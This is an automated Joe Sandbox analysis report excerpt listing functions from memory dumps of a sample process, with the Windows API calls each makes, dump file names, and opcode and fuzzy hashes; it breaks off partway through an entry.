Source File: 0000000C.00000002.3849710870.0000000006320000.00000040.00000800.00020000.00000000.sdmp, Offset: 06320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6320000_PeFIvJrY.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 32d125d189d1421af52317729b194fcf9bb800ab0dfc5870e22c04c59ee9b223
Instruction ID: 7804789083a82e6841e500290171ad0b1061b757f5080af8e4d4589d563be7c0
Opcode Fuzzy Hash: 32d125d189d1421af52317729b194fcf9bb800ab0dfc5870e22c04c59ee9b223
Instruction Fuzzy Hash: C75145B0D107098FDB54CFAAD948BDEBBF1EF88310F20845AE019A7360DB755944CB65

Function 003EF180 Relevance: 6.1, APIs: 4, Instructions: 97
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexW.KERNEL32(00000000,00000000,?), ref: 003EF193
GetLastError.KERNEL32 ref: 003EF19E
GlobalDeleteAtom.KERNEL32(00000000), ref: 003EF280
FreeLibrary.KERNEL32(?,A05DD77D,?,00000000,0043B3A0,000000FF), ref: 003EF294

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AtomCreateDeleteErrorFreeGlobalLastLibraryMutex
String ID:
API String ID: 717197772-0
Opcode ID: a662ffbe07fbf2a36b980932a9c029abec4f9f6c52fb964ee08d0e9732b6e075
Instruction ID: 6d1270504a4803e3a9c21d03aeca1e13297ca10974a98818d49c63c3f4deb390
Opcode Fuzzy Hash: a662ffbe07fbf2a36b980932a9c029abec4f9f6c52fb964ee08d0e9732b6e075
Instruction Fuzzy Hash: 2F31E274200258DFEB11DF65EC04B5A7BE8FB08714F004639EA05C72A0EBB9DA50CFA9

Function 004041D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,A05DD77D), ref: 00404213
VirtualProtect.KERNEL32 ref: 0040433A

Strings

\\?\C:\Windows, xrefs: 004043AF, 004043B4

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: FeaturePresentProcessorProtectVirtual
String ID: \\?\C:\Windows
API String ID: 2760357182-641808500
Opcode ID: e935bbaee986ac052a5520b8611440180f31466fe1e2d30fb21e1c737fa4cadb
Instruction ID: 2a0ef8de441900a834d5c7e857ae70488f3231e1f9b483f3c8d6ce7d22943a1f
Opcode Fuzzy Hash: e935bbaee986ac052a5520b8611440180f31466fe1e2d30fb21e1c737fa4cadb
Instruction Fuzzy Hash: 5151F1B1905210DBD710DF24E94972A7BA4FB4430CF46827FD9056B3A1FBB959088BAF

Function 0042571F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003E20CE

Part of subcall function 00427210: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,00460EFC,00000017,0042372F,?,004589A4,?), ref: 00427270

Strings

@ >, xrefs: 003E20D6
@ >, xrefs: 003E20BD

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: @ >$@ >
API String ID: 3109751735-3421840758
Opcode ID: cc039822be1256842e87f05f3d3b9e3ecdb72919299116b1c3cc4061fd6ebb45
Instruction ID: c92646c22b474af1649a8c1ac2c9edee6bb447a1008b1dacf286c79f5a0c7cca
Opcode Fuzzy Hash: cc039822be1256842e87f05f3d3b9e3ecdb72919299116b1c3cc4061fd6ebb45
Instruction Fuzzy Hash: 0A01C831A0021CB7CB14AAA6FC46989776C9E00354BA04637FA14EB582FB78EA5586DD

Function 0042DE20 Relevance: 4.6, APIs: 3, Instructions: 51threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0004DCC4,00000000,00000000,00000000), ref: 0042DE69
GetLastError.KERNEL32(?,003EA221,00000000,00000000), ref: 0042DE75
__dosmaperr.LIBCMT ref: 0042DE7C

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: fdca472e9d85883ef0f3ee81d57c698baa58f593e086b5814675c7f797b6a49f
Instruction ID: e8990f9fdf7317ac846f9c775568fd6451f76f5af8126b7cc85916c02f9cc8cb
Opcode Fuzzy Hash: fdca472e9d85883ef0f3ee81d57c698baa58f593e086b5814675c7f797b6a49f
Instruction Fuzzy Hash: CE01B172A11229AFDF159FA1EC06AEF3B64EF50354F50402AF8019A290DB78DE10DB98

Function 003F5300 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 95threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 003F5349

Strings

failed to initialize COM, xrefs: 003F5387

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CurrentThread
String ID: failed to initialize COM
API String ID: 2882836952-2564502714
Opcode ID: be014e44686837f00f207084543a6a5a42e9c440994d500084b1d65ca1e78e7c
Instruction ID: a966bb1af97e7207b697c4f09622a3d16934273a70ee986f2a7afe9d0b72199c
Opcode Fuzzy Hash: be014e44686837f00f207084543a6a5a42e9c440994d500084b1d65ca1e78e7c
Instruction Fuzzy Hash: 8C210275900208AFCB01EF98C945F69BBB8FF08710F24416AFA10C7291EBB5A814CBA1

Function 004064D0 Relevance: 3.1, APIs: 2, Instructions: 122COMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32(00000000,?,?,00000000), ref: 00406527
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040656A

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ErrorFinalHandleLastNamePath
String ID:
API String ID: 914413544-0
Opcode ID: 89c806a1c2dbc7a5adafd437ff59790331d6d3d57cb1cd15554a0c31cf046b30
Instruction ID: 2ce03a0ceeaf2440e8e81bd5b7624d76750b5410b021d7ad652d03edc10708fe
Opcode Fuzzy Hash: 89c806a1c2dbc7a5adafd437ff59790331d6d3d57cb1cd15554a0c31cf046b30
Instruction Fuzzy Hash: 04415B74A002099FCB04DF98D994BAEBBF5BF49304F15806EE906B7390D775A901CFA5

Function 0042DCC4 Relevance: 3.0, APIs: 2, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00458FD0,0000000C), ref: 0042DCD7
RtlExitUserThread.NTDLL(00000000), ref: 0042DCDE

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ErrorExitLastThreadUser
String ID:
API String ID: 1750398979-0
Opcode ID: 0bc6fd9b3738cf55f0eb914e208f0773397058de1e429994022a5bca303140f2
Instruction ID: fa36a96a07579721d792e5b217d53c3b9d6bc249593a5ffb51bc62106c2e455a
Opcode Fuzzy Hash: 0bc6fd9b3738cf55f0eb914e208f0773397058de1e429994022a5bca303140f2
Instruction Fuzzy Hash: E3F0C275A00215AFDB04BFB1E80AA2E3B75FF49701F54045FF5019B2A2DB785901CBA9

Function 06300D51 Relevance: 1.7, APIs: 1, Instructions: 201COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 06300FAE

Memory Dump Source

Source File: 0000000C.00000002.3849680504.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6300000_PeFIvJrY.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 80ced3dd83278dbfb61ba7da6a8e957947b9270355f7ee25d246f869f1983676
Instruction ID: 4f8cba9445834f9a73b5a64437d36bd4cb4c017764d78cc91aeee07e745a0dd1
Opcode Fuzzy Hash: 80ced3dd83278dbfb61ba7da6a8e957947b9270355f7ee25d246f869f1983676
Instruction Fuzzy Hash: 2B815770A00B058FE7A8DF29D45479ABBF5FF88204F00892DD49AD7B90DB74E849CB91

Function 003EA050 Relevance: 1.7, APIs: 1, Instructions: 158COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 003EA18A

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Mtx_init_in_situ
String ID:
API String ID: 3366076730-0
Opcode ID: b3ac933dd2293bfc3ce1a7abce065ac5ae763f79fbe0ce7589e017f8da27cc02
Instruction ID: 152de22e5cd3e4b7c6118e26adff72de73274269a0c6a20fd26caeada3caadc2
Opcode Fuzzy Hash: b3ac933dd2293bfc3ce1a7abce065ac5ae763f79fbe0ce7589e017f8da27cc02
Instruction Fuzzy Hash: 41616AB090074A9FE714DF55C84579AFBF0FF45308F14825EE5086B282E7BAA588CBD5

Function 0040A000 Relevance: 1.6, APIs: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00424CBF: RtlAcquireSRWLockExclusive.NTDLL(?), ref: 00424CC5

GetModuleHandleW.KERNEL32(00000000), ref: 0040A05C

Part of subcall function 00424CF7: GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,0040A088), ref: 00424D01

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AcquireExclusiveHandleInfoLockModuleNativeSystem
String ID:
API String ID: 2396907284-0
Opcode ID: cd8a77f870ad0100b3d33b9242dad80969f2572b997192e0434f46d0d7e7c2d4
Instruction ID: 4eb1054d346a52ca6f5515c947e77427b76602b0bf76102f6702049501ad661b
Opcode Fuzzy Hash: cd8a77f870ad0100b3d33b9242dad80969f2572b997192e0434f46d0d7e7c2d4
Instruction Fuzzy Hash: 4941A1B1E002198FCF14DF69D885AEEB7B4EF48314F14053AE915BB381EB386914CB96

Function 06302F30 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06303042

Memory Dump Source

Source File: 0000000C.00000002.3849680504.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6300000_PeFIvJrY.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: b997773d4bab37a79afce630c2513ae074c1f9ba4867644001bb1366a763a6b7
Instruction ID: 51b09446ad57a0ac32003e5ad4f7dd5f8f6b8c3cc7314aedc2d9aa4942148c72
Opcode Fuzzy Hash: b997773d4bab37a79afce630c2513ae074c1f9ba4867644001bb1366a763a6b7
Instruction Fuzzy Hash: 5A41B0B1D103099FEB14CF9AC894ADEBBB5BF48310F24812AE819AB250D775A945CF90

Function 06300414 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 06305741

Memory Dump Source

Source File: 0000000C.00000002.3849680504.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6300000_PeFIvJrY.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 07c4f9938a7f52bb7c4c0f7bda1b1f890aaa0e71f64926b359a83b98d17cdffa
Instruction ID: d8de8691b55c51537ac3a226c8cff9b64c5e222367de37c58a153d7d68d612ab
Opcode Fuzzy Hash: 07c4f9938a7f52bb7c4c0f7bda1b1f890aaa0e71f64926b359a83b98d17cdffa
Instruction Fuzzy Hash: EF413AB8900309CFDB54CF99C588BAABBF5FB88314F24C459D519AB361D774A845CFA0

Function 025B6984 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 025B8021

Memory Dump Source

Source File: 0000000C.00000002.3846304760.00000000025B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_25b0000_PeFIvJrY.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 3faffc73fcf6b6efbec57ce96dfc312f8d8786a8a6ac4e118a26712322db5393
Instruction ID: 9c8ab84deaef80c94ae7b1d582e57c20deaf9bf811b3141a49fbad37f0712edb
Opcode Fuzzy Hash: 3faffc73fcf6b6efbec57ce96dfc312f8d8786a8a6ac4e118a26712322db5393
Instruction Fuzzy Hash: 3941CF70C0071DCBEB25CFA9C848BDEBBB5BF49304F20856AD408AB261DB756945CF94

Function 025B7F64 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 025B8021

Memory Dump Source

Source File: 0000000C.00000002.3846304760.00000000025B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_25b0000_PeFIvJrY.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 5f985ccec58869d7315e19dc66b28216e996fdb3bc6d3a25e9f6d509c7c601d0
Instruction ID: ffaf8c80497fb23c40ded849b4ec17058c31e3d4a379fedd88ae77565700e31e
Opcode Fuzzy Hash: 5f985ccec58869d7315e19dc66b28216e996fdb3bc6d3a25e9f6d509c7c601d0
Instruction Fuzzy Hash: CA41BFB0C00719CBEB25CFA9C8887DEFBB5BF49304F20856AD408AB265DB756946CF51

Function 0632A3FA Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0632A487

Memory Dump Source

Source File: 0000000C.00000002.3849710870.0000000006320000.00000040.00000800.00020000.00000000.sdmp, Offset: 06320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6320000_PeFIvJrY.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d52dc4743c52ef5745af7e6b87d8403e99592a606593423d634d5ea69da83755
Instruction ID: d7074a77f116b8ecaee890e9e3ffbb98f9678a9945126d5643a7cc9a3668daef
Opcode Fuzzy Hash: d52dc4743c52ef5745af7e6b87d8403e99592a606593423d634d5ea69da83755
Instruction Fuzzy Hash: FC21E4B5900309AFDB10CF9AD884BDEBBF4EB48310F14841AE958A7350D378A954CFA4

Function 0632A400 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0632A487

Memory Dump Source

Source File: 0000000C.00000002.3849710870.0000000006320000.00000040.00000800.00020000.00000000.sdmp, Offset: 06320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6320000_PeFIvJrY.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ae632afc12397a7e04b7b6df49de357ba77019d86e1982c57bdb8eb4229ba97c
Instruction ID: b8c17f16988f26f295423dcfe1ce6f60d126e348a149a8b21dda7d771512cc13
Opcode Fuzzy Hash: ae632afc12397a7e04b7b6df49de357ba77019d86e1982c57bdb8eb4229ba97c
Instruction Fuzzy Hash: 1B21E4B59003099FDB10CF9AD884ADEBBF4EB48310F14841AE918A7350D374A954CFA0

Function 06300150 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,06301029,00000800,00000000,00000000), ref: 0630121A

Memory Dump Source

Source File: 0000000C.00000002.3849680504.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6300000_PeFIvJrY.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 038bdd5c61b8f914c48fb956356a1a2859d19dd639fc25a23096a2701a052aff
Instruction ID: 66ec4ada8410ad7fd8b64bbbea0541d9a6b06caed3f808fab18b2a4f115dd541
Opcode Fuzzy Hash: 038bdd5c61b8f914c48fb956356a1a2859d19dd639fc25a23096a2701a052aff
Instruction Fuzzy Hash: 151103B6C003498FDB14CF9AD444BDEFBF8AB48310F10842AE519A7640C375A549CFA4

Function 063011A9 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,06301029,00000800,00000000,00000000), ref: 0630121A

Memory Dump Source

Source File: 0000000C.00000002.3849680504.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6300000_PeFIvJrY.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e78744aaedef13b8c2d3d10a1aa1c9d389ced71dc696753a3686b5593f30ada2
Instruction ID: 96acc353ac42cee0229d6b2a09471fc14b8bb6dbe489d0e76ae2936c884d5b3b
Opcode Fuzzy Hash: e78744aaedef13b8c2d3d10a1aa1c9d389ced71dc696753a3686b5593f30ada2
Instruction Fuzzy Hash: 4B1100B68002498FDB14CF9AC844BDEFBF8AB49310F14842AE419A7640C375A549CFA4

Function 06300F48 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 06300FAE

Memory Dump Source

Source File: 0000000C.00000002.3849680504.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6300000_PeFIvJrY.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 35ee04132cd63338c62cd7cd3159122c82cd47827ad130d5efa6dbda39dd0737
Instruction ID: 81235a7c9d2be7fb5d76ff1335ebdef0fec5074979eb8b069cc9709fd954eb39
Opcode Fuzzy Hash: 35ee04132cd63338c62cd7cd3159122c82cd47827ad130d5efa6dbda39dd0737
Instruction Fuzzy Hash: 411110B5C003498FDB14CF9AC444BDEFBF8AB88214F10842AD459A7740C379A549CFA5

Function 06308EE0 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,0630809F), ref: 06308F45

Memory Dump Source

Source File: 0000000C.00000002.3849680504.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6300000_PeFIvJrY.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 0db9069395429b96cff1e6f6a5be16f159bb1402b5fd32c987f98898310f1f54
Instruction ID: 872e651a57b671b4b5118e4ab2b96819db210dda4377dbf6c68f2dd24d2d93a9
Opcode Fuzzy Hash: 0db9069395429b96cff1e6f6a5be16f159bb1402b5fd32c987f98898310f1f54
Instruction Fuzzy Hash: BF11FEB5C046498FDB20CF9AD448BDEFBF9AB48320F10856AE918A7750D378A544CFA5

Function 06306CC8 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 06307BB5

Memory Dump Source

Source File: 0000000C.00000002.3849680504.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6300000_PeFIvJrY.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 4578f347054d4ad96efe68e6b747d219bc833b5d3f45087cdcbcec29db1c6fb6
Instruction ID: 41912ce9ce024e92cb49340fb56504677949ba207cf4e78eb6bb0eadad3f64b3
Opcode Fuzzy Hash: 4578f347054d4ad96efe68e6b747d219bc833b5d3f45087cdcbcec29db1c6fb6
Instruction Fuzzy Hash: 651142B4800348CFDB20DF9AD489BDEBBF8EB48220F20845AD518A7740D378A944CFA4

Function 06306D74 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,0630809F), ref: 06308F45

Memory Dump Source

Source File: 0000000C.00000002.3849680504.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6300000_PeFIvJrY.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: cf94a390c4a9c1572b2cb9b080706caeff1f6d46f1a870928fb29d35b02fbde1
